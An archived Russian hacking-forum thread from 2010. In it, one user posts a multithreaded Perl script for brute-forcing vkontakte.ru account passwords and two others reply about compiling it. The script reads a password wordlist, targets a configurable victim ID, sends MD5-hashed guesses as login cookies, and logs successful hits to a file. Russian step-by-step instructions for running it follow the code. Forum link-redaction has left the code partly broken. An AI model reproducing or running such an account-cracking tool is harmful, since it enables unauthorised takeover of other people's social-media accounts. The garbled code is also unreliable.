PDA

Просмотр полной версии : Vkontakte.Ru Brute [FinaL] (на perl)


UnDeaDRoCUser
26.05.2010, 14:54
#!/usr/bin/perl

use IO::Socket;
use MD5;
use threads;
use threads::shared;
[Ссылки могут видеть только зарегистрированные и активированные пользователи]

######################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
######################################
$dic = 'passl.txt'; #словарь паролей
$id = 111111; #id жертвы
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
$threads = 4; #количество потоков
######################################

open (pass, "<$dic");

Next:
@pass = pass();

for(0..$threads) {$trl[$_] = threads->create(&Brut, $_);}
[Ссылки могут видеть только зарегистрированные и активированные пользователи]

sub Brut
{

[Ссылки могут видеть только зарегистрированные и активированные пользователи]

[Ссылки могут видеть только зарегистрированные и активированные пользователи]

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPor t=>80);
print $sock "HEAD [Ссылки могут видеть только зарегистрированные и активированные пользователи] [Ссылки могут видеть только зарегистрированные и активированные пользователи]".
"Host: vkontakte.rurn".
"Accept: */*rn".
"Content-Type: application/x-[Ссылки могут видеть только зарегистрированные и активированные пользователи]".
"User-Agent: Mozillorn".
"Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5rn".
"Connection: closernrn";
$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5n";
print "$id:$pass:$md5n";
close good;
exit;}
}

}

goto Next;

sub pass
{
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
while (){
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
}
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
}


- Качаем прогу ActivePerl 5.10.0.1001 или более раннюю версию.
- Создаем текстовик brut.txt
- Копируем код в brut.txt и настраиваем переменные под себя.
- переименовываем файл из brut.txt в brut.pl
- туда где лежит этот файл, копируем файл со словарём, обзывая его passl.txt
- создастся good.txt, где и будет ваш пасс.

Byter
26.05.2010, 14:59
могу скомпилировать код =) и ненужен будет ActivePerl 5.10.0.1001
upd:
сор но компилировать не буду так как я даже свой акк сбрутить не смог =)

KimaRuKa
26.05.2010, 15:01
могу скомпилировать код =) и ненужен будет ActivePerl 5.10.0.1001
давай!